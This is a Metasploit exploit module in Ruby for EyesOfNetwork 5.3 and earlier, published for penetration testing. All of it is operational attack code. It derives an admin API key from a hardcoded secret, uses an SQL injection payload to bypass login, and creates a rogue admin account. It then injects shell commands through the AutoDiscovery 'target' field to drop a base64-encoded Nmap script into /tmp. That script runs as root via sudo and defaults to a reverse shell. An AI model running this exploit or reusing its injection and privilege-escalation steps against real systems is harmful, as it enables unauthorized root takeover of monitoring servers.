1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
and prior in order to execute arbitrary commands as root.
This module takes advantage of a command injection vulnerability in the
`target` parameter of the AutoDiscovery functionality within the EON web
interface in order to write an Nmap NSE script containing the payload to
disk. It then starts an Nmap scan to activate the payload. This results in
privilege escalation because the`apache` user can execute Nmap as root.
Valid credentials for a user with administrative privileges are required.
However, this module can bypass authentication via two methods, i.e. by
generating an API access token based on a hardcoded key, and via SQLI.
This module has been successfully tested on EyesOfNetwork 5.3 with API
version 2.4.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Clément Billac', # @h4knet - Discovery and exploit
'bcoles', # Metasploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-8654'], # authenticated rce
['CVE', '2020-8655'], # nmap privesc
['CVE', '2020-8656'], # sqli auth bypass
['CVE', '2020-8657'], # hardcoded API key
['EDB', '48025']
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [['Auto', { }]],
'Privileged' => true,
'DisclosureDate' => '2020-02-06',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true, #HTTPS is required for the module to work
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def nmap_path
'/usr/bin/nmap'
end
def server_addr
datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
end
def check
vprint_status("Running check")
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.code == 401 && res.body.include?('api_version')
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
end
version = res.get_json_document()['api_version'] rescue ''
if version.to_s.eql? ''
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
end
version = Gem::Version.new version
unless version <= Gem::Version.new('2.4.2')
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
end
CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
end
def generate_api_key
default_key = "€On@piK3Y"
default_user_id = 1
key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
Digest::SHA256.hexdigest(key + server_addr)
end
def sqli_to_api_key
# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
fake_pass = Rex::Text::rand_text_alpha(10)
fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
api_res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
'method' => 'GET',
'vars_get' => {
'username' => user_sqli,
'password' => fake_pass
}
})
unless api_res
print_error('Connection failed.')
return
end
unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
print_error("SQL injection to obtain API key failed")
return
end
api_res.get_json_document()['EONAPI_KEY']
end
def create_eon_user(user, password)
vprint_status("Creating user #{user} ...")
vars_post = {
user_name: user,
user_group: "admins",
user_password: password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
'ctype' => 'application/json',
'vars_get' => {
'apiKey' => @api_key,
'username' => @api_user
},
'data' => vars_post.to_json
})
unless res
print_warning("Failed to create user: Connection failed.")
return
end
return res
end
def verify_api_key(res)
return false unless res.code == 200
json_data = res.get_json_document
json_res = json_data['result']
return false unless json_res && json_res['description']
json_res = json_res['description']
return true if json_res && json_res.include?('SUCCESS')
return false
end
def delete_eon_user(user)
vprint_status "Removing user #{user} ..."
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
'ctype' => 'application/json',
'data' => { user_name: user }.to_json,
'vars_get' => { apiKey: @api_key, username: @api_user }
})
unless res
print_warning 'Removing user #{user} failed: Connection failed'
return
end
res
end
def login(user, pass)
vprint_status "Authenticating as #{user} ..."
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
login: user,
mdp: pass
}
})
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.code == 200 && res.body.include?('dashboard_view')
fail_with Failure::NoAccess, 'Authentication failed'
end
print_good "Authenticated as user #{user}"
@cookie = res.get_cookies
if @cookie.empty?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
end
res
end
def create_autodiscovery_job(cmd)
vprint_status "Creating AutoDiscovery job: #{cmd}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_post' => {
'request' => 'autodiscover',
'job_name' => 'Internal discovery',
'job_description' => 'Internal EON discovery procedure.',
'nmap_binary' => nmap_path,
'default_template' => '',
'target[]' => cmd
}
})
unless res
fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
end
unless res.body.include? 'Starting...'
fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
end
res
end
def delete_autodiscovery_job(job_id)
vprint_status "Removing AutoDiscovery job #{job_id} ..."
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_get' => {
id: job_id,
delete: 1
}
})
unless res
print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
return
end
res
end
def execute_command(cmd, opts = {})
res = create_autodiscovery_job ";#{cmd} #"
return unless res
job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first
if job_id.empty?
print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
return
end
delete_autodiscovery_job job_id
end
def cleanup
super
if @username
delete_eon_user @username
end
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
@api_user = 'admin'
@api_key = generate_api_key
print_status "Using generated API key: #{@api_key}"
@username = rand_text_alphanumeric(8..12)
@password = rand_text_alphanumeric(8..12)
create_res = create_eon_user @username, @password
unless verify_api_key(create_res)
@api_key = sqli_to_api_key
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
print_status("Using API key obtained via SQL injection: #{@api_key}")
sqli_verify = create_eon_user @username, @password
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
end
admin_group_id = 1
login @username, @password
unless @cookie.include? 'group_id='
@cookie << "; group_id=#{admin_group_id}"
end
nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
print_status "Sending payload (#{cmd.length} bytes) ..."
execute_command cmd
end
end
|